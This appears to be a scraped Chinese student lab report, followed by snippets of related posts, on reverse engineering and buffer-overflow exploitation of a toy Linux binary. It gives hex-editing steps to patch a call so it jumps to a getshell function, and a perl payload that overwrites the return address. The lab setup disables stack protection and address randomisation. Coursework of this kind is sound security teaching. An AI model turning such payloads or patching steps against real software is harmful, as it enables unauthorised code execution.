1.利用foo函式的bof漏洞,構造乙個攻擊輸入字串,覆蓋返回位址,觸發getshell函式。
2.手工修改可執行檔案,改變程式執行流程,直接跳轉到getshell函式。
1.輸入指令objdump -d 20145221 | more
2.輸入指令vi 20145221
,用vim編輯器檢視可執行檔案20145221
3.輸入指令:%! xxd
,進入vi編輯模式後,發現亂碼,鍵入前述指令檢視其16進製表示
4.輸入指令:\e8 d7
查詢,輸入r進入編輯
5.很重要,先輸入指令%!xxd -r
退出16進製制後,再輸入指令:wq
儲存退出
6.輸入指令./20145213
執行程式
1.了解函式功能,即輸入一串字元輸出同樣的字元
快取區溢位,造成錯誤
2.gdb
指令除錯
3.構造一串特殊的輸入,輸出perl -e 'print "12345678123456781234567812345678\x7d\x84\x04\x08\x0a"' > input
4.輸入指令(cat input; cat) | ./20145213
,將input檔案作為輸入
20145216《網路對抗》逆向及BOF基礎實踐
本次實踐的物件是乙個名為pwn1的linux可執行檔案。該程式正常執行流程是 main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。該程式同時包含另乙個 片段,getshell,會返回乙個可用shell。正常情況下這個 是不會被執行的。我們實踐的目標就是想辦法執行這個 片段。我們將學習兩...
20145221《網路對抗》PC平台逆向破解
利用foo函式的bof漏洞,構造乙個攻擊輸入字串,覆蓋返回位址,觸發getshell函式。手工修改可執行檔案,改變程式執行流程,直接跳轉到getshell函式。其實我們還可以做的更多,比如說注入乙個自己製作的shellcode並執行這段shellcode。根據上圖易知,程式通過main函式入口開始執...
20145329 《網路對抗技術》PC平台逆向破解
實踐是在非常簡單的乙個預設條件下完成的 1 關閉堆疊保護 2 關閉堆疊執行保護 3 關閉位址隨機化 4 在x32環境下 5 在linux實踐環境 shellcode概念 shellcode是一段用來獲取互動式shell的機器指令 x4 x3 x2 x1為大致估計的資料溢位並將覆蓋到堆疊上的返回位址的...